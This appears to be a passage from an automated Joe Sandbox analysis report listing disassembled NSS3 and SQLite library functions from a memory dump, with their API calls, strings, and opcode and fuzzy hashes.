Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: c6d772b45c332b3c71bb1cab5c48db3d1d073361fb5e9a3e31f9bbf64ce15ba0
Instruction ID: 3baff211ffb7ea61ab0d38591e8b1404f560b15f3315a1e57045b56b51a0a2d9
Opcode Fuzzy Hash: c6d772b45c332b3c71bb1cab5c48db3d1d073361fb5e9a3e31f9bbf64ce15ba0
Instruction Fuzzy Hash: 1B915D7465C900CBDB50DF2FC48055D7BB2FB87308B628299D884CBE19E771DA82EB95

Function 6CB1EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CB1F0AB, 6CB1F2DA, 6CB1F757, 6CB1F93E
table, xrefs: 6CB1F05C, 6CB1FABC, 6CB1FAC7
temporary table name must be unqualified, xrefs: 6CB1F734
%s %T already exists, xrefs: 6CB1FAC8
not authorized, xrefs: 6CB1F957, 6CB1F9BA
authorizer malfunction, xrefs: 6CB1F95C, 6CB1F9BF, 6CB1FA5E, 6CB1FA8B
view, xrefs: 6CB1F061, 6CB1F071, 6CB1FAB7
sqlite_temp_master, xrefs: 6CB1F0A6, 6CB1F2D5
there is already an index named %s, xrefs: 6CB1F9D7

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 56a99493a7a86783672e95964b5534c1df01f14f7e856df2c27b6b081286cde0
Instruction ID: 1ed0568df6f28ca952aaf80afd5776b7a0756af3f89d3bbddd9607113c0c21c5
Opcode Fuzzy Hash: 56a99493a7a86783672e95964b5534c1df01f14f7e856df2c27b6b081286cde0
Instruction Fuzzy Hash: 0372B070E082858FDB14CF68C484BAABBF1FF49308F1481ADD815ABB52D775E856CB91

Function 6CC39C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6CB0C52B), ref: 6CC39D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC3A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CC3A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC3A01F, 6CC3A0E4, 6CC3A0FE
%s at line %d of [%.10s], xrefs: 6CC3A02E, 6CC3A10D
database corruption, xrefs: 6CC3A029, 6CC3A108

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 6469aa04e7dd8c5f74ddcda1377444e413276fef3ee17bfba97fc18b8089decc
Instruction ID: b78b6776d62ee615e8b81079964187cc8ead0a0ef60cfd6ef1da6853fb1d70cb
Opcode Fuzzy Hash: 6469aa04e7dd8c5f74ddcda1377444e413276fef3ee17bfba97fc18b8089decc
Instruction Fuzzy Hash: F622BE716083618FCB04CF69D49062AB7E1BFCA344F049A2DE8DE97A51EB35D856CB42

Function 6CC59D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6CB18637,?,?), ref: 6CC59E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6CB18637), ref: 6CC59ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CC59EC0
%s at line %d of [%.10s], xrefs: 6CC59ECF
database corruption, xrefs: 6CC59ECA

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: e085741948fcf02f91acf6a0b91197097ce400c9c40fe9996a98fd44fd4d66d4
Instruction ID: ae3847a6e4dbe9bcc46cc2f6681bf56b766bcc65ef7c7be6e1454fee5473ca34
Opcode Fuzzy Hash: e085741948fcf02f91acf6a0b91197097ce400c9c40fe9996a98fd44fd4d66d4
Instruction Fuzzy Hash: 58818371B012158FCB04CFAAC880ADEB3F6EF48304B5485A9E916AB741F771ED66CB54

Function 6CC67F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC681BC

Strings

BINARY, xrefs: 6CC68126
out of memory, xrefs: 6CC6835B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memset
String ID: BINARY$out of memory
API String ID: 2221118986-3971123528
Opcode ID: b0355db8b6a47316bbbd1483816dbb4c5443fb74e800c0f9edfd40a417ced73d
Instruction ID: 474c3db6a524be44d9d3e88fc9431e88a25c983840d06c390cfb61725d838e7c
Opcode Fuzzy Hash: b0355db8b6a47316bbbd1483816dbb4c5443fb74e800c0f9edfd40a417ced73d
Instruction Fuzzy Hash: 8A52B171E05218DFDB14CF9AC5D0BADBBB1FF49308F14816AD855ABB51E730A846CB90

Function 6CBE9EC0 Relevance: 7.6, APIs: 5, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CBE9ED6

Part of subcall function 6CBE14C0: TlsGetValue.KERNEL32 ref: 6CBE14E0
Part of subcall function 6CBE14C0: EnterCriticalSection.KERNEL32 ref: 6CBE14F5
Part of subcall function 6CBE14C0: PR_Unlock.NSS3 ref: 6CBE150D

PORT_ArenaAlloc_Util.NSS3(?,00000024), ref: 6CBE9EE4

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBE9F38

Part of subcall function 6CBED030: PORT_NewArena_Util.NSS3(00000400,00000000,?,00000000,?,6CBE9F0B), ref: 6CBED03B
Part of subcall function 6CBED030: PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CBED04E
Part of subcall function 6CBED030: SECOID_FindOIDByTag_Util.NSS3(00000019), ref: 6CBED07B
Part of subcall function 6CBED030: SECITEM_CopyItem_Util.NSS3(00000000,-00000018,00000000), ref: 6CBED08E
Part of subcall function 6CBED030: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBED09D

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBE9F49
SEC_PKCS7DestroyContentInfo.NSS3(?), ref: 6CBE9F59

Part of subcall function 6CBE9D60: PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CBE9C5B), ref: 6CBE9D82
Part of subcall function 6CBE9D60: PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CBE9C5B), ref: 6CBE9DA9
Part of subcall function 6CBE9D60: PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CBE9C5B), ref: 6CBE9DCE
Part of subcall function 6CBE9D60: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CBE9C5B), ref: 6CBE9E43

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 2010274f7dba3d51019e6dc65caf636cc405b8135913c494f6350a4cba39ed18
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: B811D6A5E042815BFB009B659C0079E7694AF98ACCF240235E80987741FB61F91882D2

Function 6CC9CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC9D086
PR_Malloc.NSS3(00000001), ref: 6CC9D0B9
PR_Free.NSS3(?), ref: 6CC9D138

Strings

>, xrefs: 6CC9CF5B

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 231cc99b41cdba574ab0a2881b4a85d392f9741157288f4fb6ac041b03516e5b
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 2DD16B63B4568A0FFB14487D8CA13EA77A39782374F584369D522EBBE5F619C883C341

Function 6CC3AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a98aa73c3df09a9aeef7823b69f06e04f2da92c2f550bcb0b6b9ee2484b3a11
Instruction ID: 684b8dbb9ac3875b23531853a873cd888b3569d8f9f51082e94a50822f4c5e61
Opcode Fuzzy Hash: 7a98aa73c3df09a9aeef7823b69f06e04f2da92c2f550bcb0b6b9ee2484b3a11
Instruction Fuzzy Hash: 72F1BD71F016668BDB04CF68E9543A9B7F1BB8A308F15522DC909D7750FB74A962CBC0

Function 6CC2DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CB05001,?,00000003,00000000), ref: 6CC2DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CB05001,?), ref: 6CC2E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CB05001,?), ref: 6CC2E2DA

Strings

W, xrefs: 6CC2E111

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: b8cafdcff95723e251fc89f13d30d061f42c4318d85c2219b4449b6e3bbf93fb
Instruction ID: 87d83bfbc472e4d4186a6f0bdc96993b28c201678d13281fd2941110cb1c9174
Opcode Fuzzy Hash: b8cafdcff95723e251fc89f13d30d061f42c4318d85c2219b4449b6e3bbf93fb
Instruction Fuzzy Hash: 9DC1F871A052558BDB04CF3A84906AA77B1BF8630AF28417DDC59BBB42F7399902C7D0

Function 6CB16F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CB17049
unordered*, xrefs: 6CB1702B
*?[, xrefs: 6CB17034, 6CB17052, 6CB17070
noskipscan*, xrefs: 6CB17067

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: a07030efe03fe9cab9e592c18c1609da3e30c2f623095b2dea0838bf3070c1c4
Instruction ID: 88cb28c98b8f14645cd3d01facca3971f308bbf22dd67643d5bf2c1f9b35c78c
Opcode Fuzzy Hash: a07030efe03fe9cab9e592c18c1609da3e30c2f623095b2dea0838bf3070c1c4
Instruction Fuzzy Hash: FD717B32F582914BEB148E6DC89039E73A2DF85324F254279CD59BBFC1E6B19C4687C2

Function 6CB33EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CB3463F
sqlite_, xrefs: 6CB33FAA, 6CB34185
sqlite_temp_master, xrefs: 6CB3460F

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 650d25dab3b8966ae9c756dcad3c46284276712c28ca606d9184295b1baf5f99
Instruction ID: 26dc2abf5df51a4bf972dd467a47aad20bf7414b3f4bee188225bdafd0b3d3c8
Opcode Fuzzy Hash: 650d25dab3b8966ae9c756dcad3c46284276712c28ca606d9184295b1baf5f99
Instruction Fuzzy Hash: 57225624B895F58FD7008B2980602A77FF2EF46308B5C65A8C9E95FB46D237EC918F51

Function 6CC6BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CC6C0B6

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: a8eba395213a199091f4cef6aa2eb6dc24701613d75585f580bbdcb8995fa262
Instruction ID: 3df1f52587a4b8409256acee1d494b3133e0ffd09f4d6fb09d5e4f6ab5037f4c
Opcode Fuzzy Hash: a8eba395213a199091f4cef6aa2eb6dc24701613d75585f580bbdcb8995fa262
Instruction Fuzzy Hash: B8928F74A002499FDF05DF96C990BAEB7B2FF48308F284169D815ABB91E735EC46CB50

Function 6CB03D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CB03EA9

Strings

0, xrefs: 6CB03DAB

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: f8993e733f5dba0eadc3b4eb03563a6404c202217b7b11108ee895d67f24021c
Instruction ID: 5e47cd2c5778ac3360ad8ba097575663301557f4d5446e261b0fee44fee09203
Opcode Fuzzy Hash: f8993e733f5dba0eadc3b4eb03563a6404c202217b7b11108ee895d67f24021c
Instruction Fuzzy Hash: 5E513831F490F98ADB15867D88687FFBFB1DB82314F1C432AC5A567AC0D234454687A1

Function 6CBAEE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBAF019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CBAF0F9

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 79a1a7eeb99f3255f0c80f264e0de82b7970e6abb26d3c60beea7b86f58ec139
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: DC919171A0465A8FCB14CFA9C8916AEB7F1FF85324F14472DD9A2A7BC0D730A906CB51

Function 6CBD2F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CBF7929), ref: 6CBD2FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CBF7929), ref: 6CBD2FE0

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280115240.000000006CCDE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280158803.000000006CCDF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280202006.000000006CCE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280245488.000000006CCE5000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cb00000_0T9SUT3NIHPVYFO0WUKXI.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 836c474efaf6afab6fcf441f6615e3ca2ce80998cc47c630ea9f900344969590
Instruction ID: d419213e5232155976224d4b960bc3864cb02acc36e59d6d214a064a27978606
Opcode Fuzzy Hash: 836c474efaf6afab6fcf441f6615e3ca2ce80998cc47c630ea9f900344969590
Instruction Fuzzy Hash: C051F571A059D28FDB10CE55C880B6A73B9FB45319F2B4179D909ABB03D731F946CB82

Function 6CBF0E20 Relevance: 2.8, APIs: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CBF1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CBF1086

Memory Dump Source

Source File: 00000004.00000002.2279775338.000000006CB01000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000004.00000002.2279746058.000000006CB00000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000004.00000002.2280049487.000000006CC9F000.00000002.00000001.01000000.0000000D.sdmpDownload File
